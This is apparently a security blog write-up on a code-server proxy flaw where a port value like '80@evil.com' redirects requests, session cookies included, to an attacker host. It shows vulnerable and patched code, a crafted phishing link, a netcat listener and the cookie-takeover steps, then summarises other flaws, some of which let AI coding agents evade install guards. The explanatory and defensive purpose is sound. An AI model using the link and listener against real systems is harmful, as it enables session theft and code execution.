Feb 21, 2026·6 min read·75 visits
The `/proxy` endpoint in `code-server` blindly interpolated user input into a destination URL. Attackers can pass `80@evil.com` as the port, tricking the server into treating the original destination IP as a username and sending the request (plus session cookies) to `evil.com`. Patch: 4.99.4.
A high-severity vulnerability in `code-server`'s proxy endpoint allows unauthenticated attackers to exfiltrate active session tokens. By injecting URI authority delimiters into the port parameter, attackers can force the internal proxy to redirect requests—and the victim's cookies—to a malicious domain. This leads to full account takeover and subsequent Remote Code Execution (RCE) on the host machine.
We all love code-server. It’s the dream: VS Code running on a beefy remote server, accessible from your iPad or a Chromebook. It’s productivity nirvana. But whenever you bridge the gap between "local development tool" and "web application," you invite demons.
One of the most useful features of code-server is its built-in proxy. Say you're building a React app on port 3000 of the remote server. You can't access localhost:3000 because, well, it's not your localhost. So code-server provides a handy endpoint: /proxy/3000/. It takes that request, forwards it to localhost:3000 on the server, and pipes the response back to your browser. Magic.
But here is the catch: that proxy operates with the full trust of your authenticated session. If someone could trick that proxy into talking to their server instead of localhost, they wouldn't just get a web request. They would get your request headers. Including your code-server-session cookie. And once they have that cookie, they aren't just reading your code; they are you. They have a terminal. They have root (or at least your user permissions). Game over.
The vulnerability lies in how code-server constructed the URL to proxy the request to. In the file src/node/routes/pathProxy.ts, the application takes the port number provided in the URL path (e.g., /proxy/8080) and interpolates it directly into a string template.
The developers made a classic assumption: "A port is a number." In a perfect world, users behave, and ports are integers between 1 and 65535. But we don't live in a perfect world; we live in a world where security researchers drink too much coffee and type weird characters into URL bars.
Because there was no validation that the port parameter was actually a number, it was treated as a raw string. This allowed for URI Authority Injection. By injecting the @ symbol, an attacker can fundamentally change how the underlying HTTP library parses the destination URL. It transforms what the developer thought was a destination host into a credential string, and redirects the actual traffic to a new host entirely controlled by the attacker.
Let's look at the diff. It’s painful in its simplicity. This is the code that ran every time you hit /proxy/:port.
// src/node/routes/pathProxy.ts
const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
const base = (req as any).base || ""
// 💀 FATAL ERROR: Direct string interpolation of user input
return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}See that ${req.params.port}? That is the kill zone. If I send a request to /proxy/80, it builds http://0.0.0.0:80. Safe.
But if I send a request to /proxy/test@evil.com? The string becomes:
http://0.0.0.0:test@evil.com/...
To a URL parser, this doesn't look like "connect to 0.0.0.0 on port test@evil.com". It looks like:
http0.0.0.0testevil.comThe proxy happily connects to evil.com, authenticating as user 0.0.0.0, and hands over the payload.
The patch (Commit 47d6d3a) introduces sanity. It forces the port to be an integer. If you try to pass an email address or a domain name, parseInt creates a valid number or throws a fit, and the exploit dies.
const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
const base = (req as any).base || ""
let port: number
try {
// 🛡️ SANITY CHECK: Ensure it's actually a number
port = parseInt(req.params.port, 10)
} catch (err) {
throw new HttpError("Invalid port", HttpCode.BadRequest)
}
return `http://0.0.0.0:${port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}This vulnerability requires user interaction, but let's be honest: developers click links. Especially links that look like they belong to their own infrastructure.
evil.com that logs all headers.code-server at vscode.corp-victim.com. I craft a malicious link:
https://vscode.corp-victim.com/proxy/80@evil.com/https://vscode.corp-victim.com/proxy/80@evil.com/".vscode.corp-victim.com. You trust it. You are already logged in. You click it.code-server. It includes your strictly scoped SameSite cookies because you are visiting the legitimate domain.code-server receives the request. The router sees the port parameter is 80@evil.com.http://0.0.0.0:80@evil.com/.code-server acts as a proxy. It takes your original request headers—including your session cookie—and forwards them to the target host.evil.com.My nc -lvnp 80 listener on evil.com lights up:
GET / HTTP/1.1
Host: evil.com
Cookie: code-server-session=s%3A_7K...<THE_GOLDEN_TICKET>...
...I copy that cookie. I open my browser. I paste it into my console. I refresh vscode.corp-victim.com. I am now in your IDE. I open a terminal. whoami. I own your cloud instance.
The mitigation here is textbook input validation. Never trust user input to be what you expect it to be. If you expect a number, cast it to a number. If it fails the cast, reject the request.
If you are running code-server versions older than 4.99.4, you are vulnerable. The fix was released in May 2025. You need to update immediately.
If you cannot update (why?), you could theoretically mitigate this with a WAF rule that blocks @ symbols in the URL path for /proxy/ endpoints, but that's a band-aid on a bullet wound. Just update the binary.
> [!NOTE]
> This is a reminder that "Internal" proxies are rarely just internal if the input controlling them comes from the outside. The code-server team responded quickly, but the pattern of "URL construction via string concatenation" remains a prevalent sin in the industry.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
code-server Coder | < 4.99.4 | 4.99.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-441 |
| Attack Vector | Network (AV:N) |
| CVSS | 8.3 (High) |
| Impact | Session Hijacking / RCE |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
The software acts as an intermediary (proxy) but fails to properly validate the destination, allowing an attacker to access unauthorized resources or exfiltrate data.
A high-severity security bypass vulnerability exists in safeinstall-cli up to version 0.10.1. Due to multiple logical limitations in its shell command parsing mechanism (guard-parser), attackers can craft specific shell commands that completely evade the Agent Guard interceptor hooks. This allows arbitrary unverified installations and code executions on the developer system when executed by AI coding agents.
An arbitrary server-side file read vulnerability exists in the mcp-atlassian integration server. Remote clients utilizing SSE or HTTP transports can exploit the lack of directory containment on attachment-upload tools to resolve and read arbitrary host files, exfiltrating them directly to Atlassian Jira or Confluence.
A directory traversal vulnerability exists in the mcp-atlassian integration server prior to version 0.22.0. The confluence_upload_attachment tool fails to restrict the paths of uploaded files, allowing authenticated users or external prompt injection payloads to retrieve and exfiltrate arbitrary files from the server's filesystem into Confluence.
A critical-severity Stored Cross-Site Scripting (XSS) vulnerability exists in the SiYuan personal knowledge management system. Due to missing sanitization in the attribute-view cell renderer and an insecure Electron default configuration (nodeIntegration: true), attackers can execute arbitrary commands on the victim's host operating system through synchronized workspaces.
A critical-severity stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan's Attribute View database asset cell renderer. This flaw allows low-privilege authenticated users to execute arbitrary JavaScript in the application frontend. In Electron-based desktop clients, this execution context can be leveraged to execute arbitrary native operating system commands, resulting in complete system compromise.
Clauster versions up to and including v0.2.1 suffer from an authentication bypass vulnerability. This issue occurs when Clauster is configured with an authentication method but the master auth.enabled key is omitted or set to false, allowing unauthenticated network access to administrative endpoints and arbitrary code execution through managed Claude Code bridges.